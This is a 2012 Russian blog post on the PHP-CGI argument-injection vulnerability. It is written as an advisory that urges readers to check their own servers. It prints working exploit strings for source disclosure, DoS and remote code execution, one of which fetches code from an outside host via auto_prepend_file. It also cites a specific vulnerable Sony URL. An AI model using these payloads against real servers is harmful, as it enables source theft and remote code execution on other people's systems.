Критическая уязвимость в PHP

Автор: | 5 мая 2012

Компьютерная группа реагирования на чрезвычайные ситуации (CERT) опубликовала уведомление об утечке информации о критической уязвимости в PHP, которая позволяет запустить произвольный код на сервере или просмотреть исходный код любого PHP-скрипта, выполняемого в CGI-режиме (используется некоторыми хостинг-провайдерами). Cкрипты, выполняемые с использованием mod_php и FastCGI (например, связки nginx с php-fpm), не подвержены проблеме.

Опасность уязвимости усугубляет тот факт, что несмотря на то, что разработчики PHP были уведомлены о проблеме ещё 17 января, а 23 февраля был отправлен дополнительный запрос от имени CERT, уязвимость остаётся неисправленной. Проблема вызвана ошибкой, допущенной в 2004 году. Интересно также то, что утечка информации возникла из-за оплошности разработчиков PHP, поместивших информацию о проблеме в публичный трекер ошибок, до момента выхода исправления с устранением уязвимости.

via Opennet.ru

Подробности уязвимости опубликованы, так что уже можно обсуждать возможности эксплуатации этой дырки.

Уязвимость позволяет проводить сразу несколько видов атак:

  • Раскрытие исходного кода скрипта при помощи добавления /?-s (самый известный прием использования этой уязвимости)
  • DoS атака при использовании “?-T+100000” (осторожно, это так же задосит ваш браузер, эту уязвимость применяют с использованием cURL)
  • Выполнение кода файлов в обход списков ACL (кроме списков OS): привязка процесса к порту командой -b 12345, например, затем проксирование запроса (например, через nginx + Fastcgi proxy модуль) и установка переменной SCRIPT_FILENAME.
  • Выполнение произвольного кода  удаленно: /?-d%20allow_url_include%3DOn+-d%20auto_prepend_file%3Dhttps://domain.tld/code.txt%20-n – это позволяет выполнять код с переопределением настроек php.ini и расширения Suhosin (тогда как флаг “-n” указывает PHP не использовать файл php.ini вообще, таким образом расширение Suhosin просто не загружается).

Этой уязвимости был подвержен сайт компании SONY:
https://help.station.sony.com/cgi-bin/soe.cfg/php/enduser/live.php?-s

В виду отсутствия какой-либо обратной связи на сайте, отправил предупреждение на адрес украинского офиса. Ответ, к сожалению, так и не был получен.

На всякий случай проверьте, нет ли этой уязвимости у вас или вашего хостера, уж очень широкие возможности она открывает хакерам и скрипткидсам.

N.B.

Будьте бдительны при составлении реврайтов, urlencoded версии тоже работают, например ?%2ds

Добавить комментарий